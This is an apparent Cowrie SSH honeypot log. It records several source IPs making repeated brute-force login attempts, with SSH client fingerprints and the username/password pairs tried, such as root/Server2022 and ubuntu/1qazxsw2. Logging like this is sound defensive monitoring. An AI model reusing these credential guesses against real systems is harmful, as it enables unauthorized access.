{"eventid":"cowrie.login.failed","username":"root","password":"Server2022","message":"login attempt [root/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:45.801661Z","src_ip":"103.114.153.158","session":"66a3a6ab0881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:46.282654Z","src_ip":"103.114.153.158","session":"66a3a6ab0881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":38248,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e2b3d76e97a","protocol":"ssh","message":"New connection: 103.114.153.158:38248 (10.17.0.5:22) [session: 1e2b3d76e97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:46.459207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:46.464018Z","src_ip":"103.114.153.158","session":"1e2b3d76e97a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:46.645013Z","src_ip":"103.114.153.158","session":"1e2b3d76e97a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2022","message":"login attempt [admin/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:47.401927Z","src_ip":"103.114.153.158","session":"1e2b3d76e97a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:47.882180Z","src_ip":"103.114.153.158","session":"1e2b3d76e97a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":38264,"dst_ip":"10.17.0.5","dst_port":22,"session":"940c902cedbf","protocol":"ssh","message":"New connection: 103.114.153.158:38264 (10.17.0.5:22) [session: 940c902cedbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:48.117096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:48.122206Z","src_ip":"103.114.153.158","session":"940c902cedbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:48.342365Z","src_ip":"103.114.153.158","session":"940c902cedbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2022","message":"login attempt [user/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:49.235480Z","src_ip":"103.114.153.158","session":"940c902cedbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:49.715994Z","src_ip":"103.114.153.158","session":"940c902cedbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":38266,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4ce591ba0cf","protocol":"ssh","message":"New connection: 103.114.153.158:38266 (10.17.0.5:22) [session: a4ce591ba0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:49.926135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:49.931409Z","src_ip":"103.114.153.158","session":"a4ce591ba0cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:50.134009Z","src_ip":"103.114.153.158","session":"a4ce591ba0cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2022","message":"login attempt [user2/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:50.975165Z","src_ip":"103.114.153.158","session":"a4ce591ba0cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:51.456281Z","src_ip":"103.114.153.158","session":"a4ce591ba0cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":41338,"dst_ip":"10.17.0.5","dst_port":22,"session":"c42e1d60a349","protocol":"ssh","message":"New connection: 103.114.153.158:41338 (10.17.0.5:22) [session: c42e1d60a349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:51.664278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:51.669092Z","src_ip":"103.114.153.158","session":"c42e1d60a349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:51.871876Z","src_ip":"103.114.153.158","session":"c42e1d60a349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":60014,"dst_ip":"159.203.135.109","dst_port":22,"session":"d74700635af7","protocol":"ssh","message":"New connection: 103.149.28.157:60014 (159.203.135.109:22) [session: d74700635af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:51.907003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:51.912819Z","src_ip":"103.149.28.157","session":"d74700635af7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:52.163674Z","src_ip":"103.149.28.157","session":"d74700635af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2026","message":"login attempt [root/Server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:52.714436Z","src_ip":"103.114.153.158","session":"c42e1d60a349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07071992","message":"login attempt [root/07071992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:52.908314Z","src_ip":"103.149.28.157","session":"d74700635af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:53.194879Z","src_ip":"103.114.153.158","session":"c42e1d60a349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":41340,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c51d6824a23","protocol":"ssh","message":"New connection: 103.114.153.158:41340 (10.17.0.5:22) [session: 5c51d6824a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:53.407656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:53.412339Z","src_ip":"103.114.153.158","session":"5c51d6824a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:53.617597Z","src_ip":"103.114.153.158","session":"5c51d6824a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:54.157683Z","src_ip":"103.149.28.157","session":"d74700635af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2026","message":"login attempt [admin/Server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:54.471739Z","src_ip":"103.114.153.158","session":"5c51d6824a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:54.953131Z","src_ip":"103.114.153.158","session":"5c51d6824a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":41342,"dst_ip":"10.17.0.5","dst_port":22,"session":"7618648e8cd3","protocol":"ssh","message":"New connection: 103.114.153.158:41342 (10.17.0.5:22) [session: 7618648e8cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:55.134457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:55.140219Z","src_ip":"103.114.153.158","session":"7618648e8cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:55.330743Z","src_ip":"103.114.153.158","session":"7618648e8cd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2026","message":"login attempt [user/Server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:56.124512Z","src_ip":"103.114.153.158","session":"7618648e8cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:56.605863Z","src_ip":"103.114.153.158","session":"7618648e8cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":41350,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b9492be1446","protocol":"ssh","message":"New connection: 103.114.153.158:41350 (10.17.0.5:22) [session: 6b9492be1446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:56.796371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:56.800622Z","src_ip":"103.114.153.158","session":"6b9492be1446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:56.984513Z","src_ip":"103.114.153.158","session":"6b9492be1446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":60126,"dst_ip":"10.17.0.5","dst_port":22,"session":"46c243b776a3","protocol":"ssh","message":"New connection: 88.147.30.59:60126 (10.17.0.5:22) [session: 46c243b776a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:57.212022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:57.217783Z","src_ip":"88.147.30.59","session":"46c243b776a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:57.330949Z","src_ip":"88.147.30.59","session":"46c243b776a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2026","message":"login attempt [user2/Server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:57.753815Z","src_ip":"103.114.153.158","session":"6b9492be1446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazxsw2","message":"login attempt [ubuntu/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:57.812850Z","src_ip":"88.147.30.59","session":"46c243b776a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:58.234133Z","src_ip":"103.114.153.158","session":"6b9492be1446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":41356,"dst_ip":"10.17.0.5","dst_port":22,"session":"dafd6abb650b","protocol":"ssh","message":"New connection: 103.114.153.158:41356 (10.17.0.5:22) [session: dafd6abb650b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:58.432828Z"}
